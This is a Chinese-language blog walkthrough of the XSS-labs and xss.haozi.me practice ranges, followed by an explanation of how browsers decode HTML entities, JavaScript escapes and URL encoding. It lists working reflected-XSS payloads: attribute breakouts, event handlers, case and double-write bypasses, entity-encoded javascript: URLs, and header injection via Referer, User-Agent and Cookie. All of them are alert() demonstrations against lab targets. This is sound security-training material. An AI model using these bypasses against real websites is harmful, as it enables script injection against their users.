XSSlabs靶场以及通过浏览器编码深入xss绕过


title: XSS
categories:

  • XSS
    abbrlink: 2700
    date: YYYY-MM-DD HH:mm:ss
    tags:
  • XSS
  • 靶场

1

XSStrike

XSSlabs靶场

payload

?name=<script>alert(/1/)</script>
?keyword="><script>alert(/1/)</script>//
?keyword='onfocus=javascript:alert('xss')>//&submit=搜索
?keyword="onfocus=javascript:alert('xss')>//&submit=搜索
?keyword="> <a href=javascript:alert('xss') > xss</a> //&submit=搜索
?keyword="><scRipt>alert(/1/)</scRipt>//&submit=搜索
?keyword="><scscriptript>alert(/1/)</scscriptript>//&submit=搜索
?keyword=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;&submit=添加友情链接
?keyword=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;&submit=添加友情链接
?keyword=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;//http://wwww.baidu.com&submit=添加友情链接
?t_link=&t_history=&t_sort="onfocus=javascript:alert('xss') > //
referer:"type="text" onclick="alert('xss')
User-Agent: "type="text" onclick="alert('xss')
Cookie: user="type="text" onclick="alert('xss')

无过滤xss

可以看到有高亮提示xss

image-20220405140826356

image-20220405141201800

工具也扫到了

image-20220405141240660

发现参数传递到了<h2 这里>

简单语句试一下

<script>alert(/1/)</script>

image-20220405141409560

我们看看他是怎么执行的呢

image-20220405141506775

发现是将代码直接替换进去,导致替换进去的字符当成js代码执行了

代码段也可以看到,直接将name替换进去了

image-20220405141657542

这里并没有写入数据库,所以就是一个客户端的一个反射型xss.危害并不大,说白了就是用户自己玩的.

闭合input属性

image-20220405142021883

可见这里传入的值放到了<h2这里</h2>,不过这是没有影响的,我们尝试一下上一关的语句

image-20220405142827001

发现没有弹窗

image-20220405142833827

可以发现这里也是对<>进行了转义处理.猜测在服务器端用htmlspecialchars()函数对keyword参数的值进行了处理。

但是往下看一下,有一个value的值并没有被转义处理.这样我们是不是可以尝试着闭合一下value呢

<input name=keyword  value="<script>alert(/1/)</script>">
<input name=keyword  value=""><script>alert(/1/)</script>//">

image-20220405142805537

这里左边的">闭合input右边//注释后面的

image-20220405143201906

这是扫到的几个

input标签属性

这里也都是用了htmlspecialchars()函数进行了处理

那么可以通过input标签的特殊事件来执行js但

<input name=keyword  value='&lt;script&gt;alert(/1/)&lt;/script&gt;'>
<input name=keyword  value=''onfocus=javascript:alert('xss') > //'>

image-20220405144008647

这里需要点击一下搜索框才能触发

onfocus 事件在对象获得焦点时发生。
onfocus 通常用于 <input>, <select>, 和<a>.

image-20220405144256072

这里工具也是没有扫出来的,原因是没有’进行闭合的payload

input标签属性

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PFRLmblD-1665283225887)(C:/Users/14980/AppData/Roaming/Typora/typora-user-images/image-20220405144512970.png)]

可以看到上面是转义,下面是将<>去掉了.这里也是使用上一关的直接过

<input name=keyword  value=""onfocus=javascript:alert('xss') > //">

image-20220405150443044

herf属性

image-20220405150031018

这里也是可以看到是对script这个字符进行的处理

image-20220405150145238

换一个标签继续执行

<input name=keyword  value=""> <a href=javascript:alert('xss') > xss</a> //">

image-20220405150314765

点击链接就执行

image-20220405150458424

第五关也没扫到

大小写绕过

image-20220405150704646

大小写绕过就好

<input name=keyword  value=""><scRipt>alert(/1/)</scRipt>//">

image-20220405151053140

双写绕过

image-20220405151158554

"><scscriptript>alert(/1/)</scscriptript>//

image-20220405152217691

可见这里payload也没有双写的

html编码

image-20220405151732354

双写替换都不成

image-20220405151819997

将我们要提交的进行unicode编码试试

html10编码

image-20220405152051856

html16编码

image-20220405152147720

两个都可以

image-20220405152300235

也没有html编码的

格式判断

image-20220405152520098

可见对url进行了判断,所以只要构造一个合理的url就ok

javascript:alert('xss')//http://wwww.baidu.com

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;//http://wwww.baidu.com

两个中间的是//注释符哦不然会影响alert执行的

第八关都没扫到,第九关肯定也扫不到

hidden属性

image-20220405153301126

image-20220405153308358

没有了value,但是多了三个hidden的值

image-20220405153348663

这里也可以看到有过滤,而且只有t_sort有值传入,所以可以让他显示就好

image-20220405153506757

把这个hidden去掉就好.记得点的时候也要在去掉hidden哦

"onfocus=javascript:alert('xss') > //

image-20220405153656228

当然聪明的你在地址栏直接输也可以

image-20220405154459183

reffer构造

image-20220405154016445

image-20220405154033684

image-20220405154620614

简单构造下

image-20220405154642803

ua构造

image-20220405154834290

image-20220405154857918

cookie构造

image-20220405155104420

xss靶场练习xss.haozi.me

无过滤在div之间

<div><script>alert(/1/)</script></div>

image-20220415220125233

无过滤在textarea之间

</textarea><script>alert(/1/)</script><textarea>

进行前后闭合

image-20220415220333373

</textarea><img src="" onerror=alert(/1/)>

通过错误事件,因为src是不存在的所以当产生错误之后就会执行alert(/1/)

image-20220415220540314

无过滤注入在字符串内

"><script>alert(/1/)</script>

image-20220415220714666

过滤([])括号和方括号

<script>alert`1`</script>

反引号来代替

image-20220415220958426

通过浏览器编码深入xss绕过

基本概念

html编码(字符实体)

字符实体是一个预先定义好的转义序列.字符实体有两种表示方法:

  1. 字符实体以&开头+预先定义的实体名称+;分号结束,如"<"的实体名称为&lt;
  2. 字符实体还以以&开头+#符号+字符在ascii对应的十进制数字+;分号结束,如<的字符实体编码时&#60;

字符都是有实体编号的,但是有的字符是没有实体名称

image-20220415222905027

javascript编码

最常用的,如\uxxxx这种写法的unicode转义序列,表示一个字符,其中xxxx表示一个16进制的数字,如<的unicode编码为\u003c

url编码

RFC3986文档中规定,url中只允许包含英文字母(a-zA-Z) 数字(0-9) -_.~四个特殊字符以及所有保留字符RFC3986中指定以下字符为保留字符 ! * ’ ( ) ; : @ & = + $ , / ? # [ ]

编码方式 %加字符在ascii码表中的十六进制只. / 在ascii中十六进制为0x2f,那么它对应的url编码为%2f

javascript中提供了3个函数用来对url编码以得到合法的url

  1. escape()
  2. encodeURL()
  3. encodeURLComponent()

浏览器编码解码规则

image-20220415223618303

浏览器无论什么情况下都会遵守一个这样的解码规则

  1. html解析器对html文档进行解析,完成html解码并且创建dom树
  2. javascript或者css解析器对内联脚本进行解析,完成js css解码
  3. url解码会根据url所在的顺序不同而在js解码前或者解码后

html解析器

html中有五类元素

  1. 空元素(void elements),有area base br col command embed hr img input keygen link meta param source track wbr
  2. 原始文本元素(Raw text elements) 有<script>和<style>
  3. RCDATA元素(RCDATA elements) 有<textarea>和<title>
  4. 外部元素(Foreign elements) 例如mathml命名空间或者svg命名空间的元素
  5. 基本元素(normal elements) 即除了以上四种元素以外的元素

五类元素的区别

  1. 空元素,不能容纳任何内容(因为他们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)
  2. 原始文本元素,可以容纳文本
  3. RCDATA元素,可以容纳文本和字符引用
  4. 外部元素,可以容纳文本 字符引用CDTATA段 其他元素和注释
  5. 基本元素,可以容纳文本 字符引用 其他元素和注释

html解析器以状态机的方式运行,它从文档输入流中消耗字符并根据其转换规则转换到不同的状态

image-20220415224659355

<html>
 <body>
   Hello world
 </body>
</html>
  1. 初始状态为 data state, 当遇到 < 字符 ,状态变为 tag open state ,读取一个a-z的字符将产生一个开始标签符号,状态相应变为, tag name state 一直保持这个状态直到读取到了 >, 每一个字符都附加到这个符号名上,例子中创建的是一个html符号
  2. 当读取到> 当前的符号就完成了,此时,状态回到了datastate, <body>重复这一处理过程.到这里,html和body标签都识别出来了.现在,回到data state,读取hellowrld中的字符h将创建

https://mp.weixin.qq.com/s/liODgY4NjYqdWg3JgPXMdA

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值